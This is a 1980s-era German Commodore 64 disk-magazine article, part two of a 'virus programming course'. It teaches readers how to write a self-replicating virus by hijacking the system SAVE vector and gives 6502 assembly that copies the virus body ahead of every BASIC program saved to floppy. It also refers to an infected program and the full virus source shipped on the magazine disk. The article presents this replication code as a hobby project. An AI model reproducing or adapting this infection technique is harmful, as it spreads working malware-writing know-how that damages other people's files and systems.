Virus-Programmierkurs
‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾
Sicher haben Sie schon gespannt auf das
Erscheinen der Augustausgabe von Magic
Disk 64 gewartet. Denn in unserem Virus-
Programmierkurs wird's jetzt langsam
ernst. Heute wollen wir uns - wie in der
letzten Ausgabe besprochen - um die
Artenerhaltung unseres Virus kümmern,
damit er auch viele kräftige und gesunde
Nachkommen haben wird!
An dieser Stelle sei noch erwähnt, daß
sich auf der Magic Disk folgende Pro-
gramme befinden, die alle mit diesem
Kurs zusammenhängen:
"MD-VIRUS" ist ein infiziertes Gag-Pro-
gramm, das zur Aktivierung des Virus
dient. Der Syntax-Error am Programmende
gehört so und ist kein Programmfehler!
"MDV-SOURCE" ist der Sourcecode (=Quell-
code) im Hypra-Ass-Format zum Virus.
Falls Sie Hypra-Ass nicht besitzen, so
hilft Ihnen sicherlich
"MDV-SOURCE.ASC" weiter. Das ist der
Source-Code als ASCII-File gespeichert.
Dieser kann ohne Probleme mit GET# von
der Diskette gelesen und ausgedruckt
werden.
Doch nun wollen wir ans "Eingemachte"
gehen und uns mit der Programmierung
selbst befassen.
Zuerst wollen wir uns überlegen, wann
die Brunftzeit (die Zeit, an der sich
der Virus vermehrt) für unser kleines
Tierchen am günstigsten ist. Da sticht
der Vorgang des Diskettenzugriffs natür-
lich sofort ins Auge, denn dann ist es
am unauffälligsten, da die Diskettensta-
tion sowieso läuft. Und außerdem teilt
uns der Programmierer bei einer solchen
Aktion auch gleich mit, wie man ein zu
infizierendes Programm beim Namen nennt.
Man muß also nicht noch aufwendig auf
der Diskette nach Programmen und deren
Namen suchen.
Gesagt - getan. Um dies zu verwirkli-
chen, müssen wir prinzipiell nur den
Speichervorgang an sich abfangen können.
Das heißt, unser Virus muß sich immer
dann einschalten, wenn das Betriebs-
system des C64 vom Benutzer dazu bewegt
wird, Daten zum Floppy zu schicken.
Dieses Problem kann sehr einfach gelöst
werden. Das Betriebssystem benutzt näm-
lich einen Vektor, der auf die eigent-
liche Save-Routine zeigt. Zur Erklärung:
Ein Vektor sind zwei Speicherzellen,
deren Inhalt im Low-High-Format auf ein
entsprechendes Unterprogramm zeigt. Vek-
toren können mit indirekten Sprüngen
adressiert werden. Speichert man z.B. in
den Speicherzellen $1000 und $1001 die
Werte $af und $c0, so wird bei dem
Maschinensprachebefehl JMP ($1000) die
Adresse $c0af angesprungen.
Der SAVE-Vektor steht in den Speicher-
zellen $0332 und $0333 (=dezimal 818 und
819). Bei jedem SAVE-Befehl wird indi-
rekt über diesen Vektor gesprungen. Ein
idealer Platz also für einen Virus, um
in das Geschehen einzugreifen. Er muß
nur bei seiner (einmaligen) Initiali-
sierung diesen Vektor auf eine eigene
Routine "verbiegen". Bis zum Ausschalten
des Computers wird dann bei jedem SAVE-
Befehl die eigene Routine angesprungen.
Zur Vervollständigung des Gesagten sei
noch erwähnt, daß dieser Vektor eigent-
lich schon mitten in der SAVE-Routine
angesprungen wird. Doch das ist für uns
nur von Vorteil, da er genau dann aufge-
rufen wird, nachdem alle Voreinstellun-
gen erledigt wurden, und wir diese des-
wegen nicht noch selbst erledigen müs-
sen. Um diesen Vorgang genauer zu erläu-
tern, muß ich Ihnen zunächst die SAVE-
Routine etwas näher beschreiben:
Wie Sie ja vielleicht wissen, wird die
SAVE-Routine des Betriebssystems mit dem
Befehl JSR $FFD8 aufgerufen. Vorher muß
man aber noch einige Parameter wie Lauf-
werk, Programmname, Start- und End-
adresse etc. festlegen. Diese Parameter
werden folgendermaßen übergeben:
SETPAR setzt Geräte- und Sekundäradresse
SETNAM übergibt Programmnamen und -Länge
Jetzt müssen Anfangs- und Endadresse in
zwei Speicherzellen in der Zeropage
festgelegt werden. Am besten eignen sich
die Adressen $FB und $FC, da sie vom
Betriebssystem sonst nicht verwendet
werden.
Nun den Zeiger auf die erste dieser
Speicherzellen in den Akku laden, Endad-
resse des abzuspeichernden Bereichs in X
und Y-Register laden und SAVE aufrufen.
Damit das verständlicher wird, folgt
hier zunächst das Quellisting einer
Maschinenspracheroutine, die den Spei-
cherbereich von $0801 bis $11AB unter
dem Namen "DEMOSAVE" auf Diskette
abspeichert:
10 -.ba $c000 ;Basisadresse
20 -.eq save = $ffd8 ;Konstanten-
30 -.eq setpar = $ffba ;definitionen
40 -.eq setnam = $ffbd ;
50 -;
100 - lda #$01 ;Filenummer
110 - ldx #$08 ;Geräteadresse
120 - ldy #$01 ;Sekundäradresse
130 - jsr setpar ;Parameter setzen
140 - lda #$08 ;Länge des Namens
150 - ldx #<(name) ;Adresse low
160 - ldy #|(name) ;Adresse high
170 - jsr setnam ;Namen setzen
180 - ldx #$01 ;Anfangsadresse low
190 - ldy #$08 ;Anfangsadresse high
200 - stx $fb ;in $fb und $fc
210 - sty $fc ;zwischenspeichern
220 - lda #$fb ;Zeiger auf Speicher
230 - ldx #$ab ;Endadresse low
240 - ldy #$11 ;Endadresse high
250 - jsr save ;SAVE anspringen
260 - rts ;fertig!
270 -;
280 -name .tx "demosave"
Werfen wir nun einen kleinen Blick "hin-
ter die Kulissen" - sprich ins Betriebs-
system. Dabei beginnen wir an der Stel-
le, an der auch die SAVE-Routine
beginnt, nämlich bei Adresse $FFD8. Hier
ein kleiner Auszug, wie Sie ihn sich mit
einem Disassembler bzw. Speichermonitor
auch "live" ansehen können:
FFD8 JMP $F5DD
Es wird also nur ins Innere des Systems
weitergesprungen. Dort verfolgen wir das
Betriebssyetem weiter:
F5DD STX $AE ;Low-Byte Endadresse
speichern
F5DF STY $AF ;High-Byte Endadresse
speichern
F5E1 TAX ;Zeiger auf Anfangs-
adresse ins X-Register
F5E2 LDA $00,X ;Low-Byte der Anfangs-
adresse holen
F5E4 STA $C1 ;und speichern
F5E6 LDA $01,X ;dasselbe mit dem
F5E8 STA $C2 ;High-Byte
F5EA JMP ($0332);Save-Vektor
Sie sehen, daß erst in der letzten Zeile
auf die SAVE-Routine verzweigt wird. Die
übrigen Zeilen sind nur dazu da, die Pa-
rameter für später zwischenzuspeichern.
Hier also ist der Punkt, an dem unser
Virus eingreifen darf. Er sollte somit
auch alle Funktionen übernehmen, die das
Betriebssystem normalerweise ausführt,
nur daß er sich zusätzlich auch noch
mitspeichert. Um herauszufinden, was
genau er da tun soll, verfolgen wir die
normale Saveroutine weiter:
Einsprung über Vektor $0332/$0333 von
$F5EA:
F5ED LDA $BA ;Geräteadresse laden
F5EF BNE $F5F4 ; wenn <| 0 dann weiter
F5F1 JMP $F713 ;"ILLEGAL DEVICE NUMBER
ERROR" ausgeben
F5F4 CMP #$03 ;vergleiche mit Bild-
schirmcode
F5F6 BEQ $F5F1 ;wenn ja, dann Fehler
F5F8 BCC $F659 ;wenn <3, dann Sprung zu
Test auf RS232 oder
Cassette
F5FA LDA #$61 ;Sekundäradresse
F5FC STA $B9 ;zwischenspeichern
F5FE LDY $B7 ;Filenamenlänge holen
F600 BNE $F605 ;|0, dann weiter
F602 JMP $F710 ;"MISSING FILE NAME
ERROR" ausgeben
F605 JSR $F3D5 ;Filename auf IEC-Bus
F608 JSR $F68F ;"SAVING" ausgeben
F60B LDA $BA ;Geräteadresse laden
F60D JSR $ED0C ;und LISTEN senden
F610 LDA $B9 ;Sekundäradresse holen
F612 JSR $EDB9 ;und für LISTEN senden
F615 LDY #$00 ;Zähler auf 0 setzen
F617 JSR $FB8E ;Startadresse nach
$AC/$AD kopieren
F61A LDA $AC ;Startadr.-Low laden
F61C JSR $EDDD ;und senden
F61F LDA $AD ;Startadr.-High laden
F621 JSR $EDDD ;und senden
Ab hier (also ab $F624) folgt noch eine
kleine Routine, die jedes Byte bis zur
Endadresse durchgeht, mit der Routine
bei $EDDD an die Floppy sendet und an-
schließend das File wieder schließt und
zurückspringt.
Wie Sie sehen, ist der erste Teil nur
dazu da, die Geräteadresse zu überprüfen
und die entsprechenden Fehlermeldungen
auszugeben. Anschließend kommt erst der
Anfang der eigentlichen Saveroutine.
Hier wird dann das "saving" ausgegeben
und der Floppykanal geöffnet. Bis zur
Adresse $F617 alles Dinge, die für uns
unwichtig sind, und die wir auch einfach
in unserem Virus übernehmen werden,
damit er auch voll kompatibel zum
Betriebssystem ist.
Erst ab $F61A wird es für uns interes-
sant. Hier werden nämlich Low- und High-
byte der Anfangsadresse des zu savenden
Bereichs an die Floppy geschickt, damit
die Loadroutine später weiß, wohin sie
das eingeladene Programm legen soll.
Dieser Teil ist deshalb so wichtig für
uns, weil wir unseren Virus grundsätz-
lich nur vor Programme kopieren lassen
wollen, die an den normalen Basicstart
(also $0801) geladen werden, da man hier
davon ausgehen kann, daß das entsprech-
ende Programm mit RUN gestartet werden
muß. Würde sich der Virus auch vor
Maschinenprogramme kopieren, die bei-
spielsweise bei $C000 anfangen, dann
könnte das verheerende Folgen haben, da
er selbst ja ein mit RUN startbares Pro-
gramm ist und man ihn nicht einfach mit
einem SYS starten kann.
Also müssen wir an dieser Stelle über-
prüfen, an welcher Stelle sich das zu
savende Programm befindet. Ist das nicht
$0801, so hält sich unser Virus schön
brav im Hintergrund und tut gar nichts.
Ist es aber ein Programm, das bei $0801
beginnt, so soll er sich mitkopieren.
Also bauen wir an dieser Stelle noch ein
paar Vergleichsbefehle ein:
LDA $AC ;Lo-Byte Anfangsadresse
CMP #01 ;= $01?
BEQ LAB1 ;Ja, dann Byte senden
LDY #$01 ;Flag setzen
LAB1 JSR $EDDD ;Lo-Byte senden
LDA $AD ;Hi-Byte Anfangsadresse
CMP #$08 ;= $08?
BEQ LAB2 ;Ja, dann Byte senden
LDY #$01 ;Flag setzen
LAB2 JSR $EDDD ;Hi-Byte senden
CPY #$01 ;Flag gesetzt?
BNE OKAY ;nein, also vermehren!
LDY #$00 ;Ja, Y zurücksetzen
JMP $F624 ;normal weitersaven
Hier die genaue Funktionsweise: Das Y-
Registerwurde bei $F615 ja mit 00 gela-
den. Sollte jetzt bei einem Vergleich
ein Wert ungleich dem verglichenem Wert
sein, so wird das Y-Register mit dem
Wert 01 beschrieben und erst dann das
Byte gesendet. In der Folge wird dann
verglichen, ob das Y-Register noch 0
ist. Ist das der Fall, so darf sich der
Virus kopieren. Ansonsten verzweigt das
Programm in die normale Saveroutine.
In dieser Form konnten wir die Assemb-
lerbefehle bisher aus dem Betriebssystem
übernehmen. Jetzt müssen wir auch einmal
etwas eigenes leisten, nämlich eine Rou-
tine schreiben, die den Virus an die
Floppy sendet. Bis jetzt sind der Flop-
pykanal geöffnet und die Startadresse
übergeben. Normalerweise würde jetzt das
zu savende Programm kommen, doch das
soll ja gerade nicht der Fall sein. Wir
müssen zuerst den Virus an die Floppy
senden und dann das eigentliche Pro-
gramm. Dieses Problem lösen wir folgen-
dermaßen:
OKAY LDA #<(DATA) ;Lo-Anfangsadresse
STA $FB ;des Virus setzen
LDA #|(DATA) ;dasselbe mit dem
STA $FC ;Highbyte
LDA #<(ENDE) ;Lo-Endadresse
STA $F9 ;setzen
LDA #|(ENDE) ;dasselbe mit dem
STA $FA ;Highbyte
LDY #$00 ;Zähler löschen
LOOP LDA ($FB),Y ;Zeichen laden
JSR $EDDD ;und senden
JSR INCCOUNT ;Zähler um 1 erhöhen
BCC LOOP ;Weiter, wenn noch
nicht Endadresse
JSR SAVECONT ;Wenn doch, dann
Programm saven
Zur Dokumentation: Am Anfang setzen wir
Start- und Endadresse. Die Endadresse
hinterlegen wir in $F9/$FA, da die
INCCOUNT-Routine diese Werte zum Ver-
gleichen braucht. Diese Routine steht in
unserem Source-Listing übrigens ab Zeile
8210 und soll an anderer Stelle näher
erläutert werden. Soviel sei aber schon
hier gesagt:
Die Routine erhöht den Zeiger in $FB/
$FC und vergleicht ihn mit der Endad-
resse, die wir ja in $F9/$FA abgelegt
haben. Sind beide Adressen gleich, so
setzt sie das Carryflag, womit die Ab-
frage nach JSR INCCOUNT zu erklären ist.
Ist das Carryflag gelöscht, so ist das
Ende noch nicht erreicht und die
Schleife wird wiederholt. Im Anschluß
wird dann wieder die normale Saveroutine
des Betriebssystems angesprungen, um das
eigentliche Programm abzuspeichern. In
der Konstanten SAVECONT ist die Zahl
bzw. Adresse $F624 gespeichert.
Hiermit sind wir am Ende des zweiten
Teils des Virusprogrammierkurses ange-
langt. Die oben beschriebene Saveroutine
finden Sie ab Zeile 2220 im Source-
listing, allerdings mit zwei kleinen
Abweichungen. Die eine hat mit der Ver-
mehrung beim Laden zu tun, die wir näch-
sten Monat besprechen wollen. Und die
andere ist für den kleinen Gag zustän-
dig, mit dem der Virus auf sich aufmerk-
sam machen soll.
Bis zum nächsten Teil bleibt uns nur
noch, Ihnen viel Spaß in Ihrer Aktivität
als Virologe zu wünschen.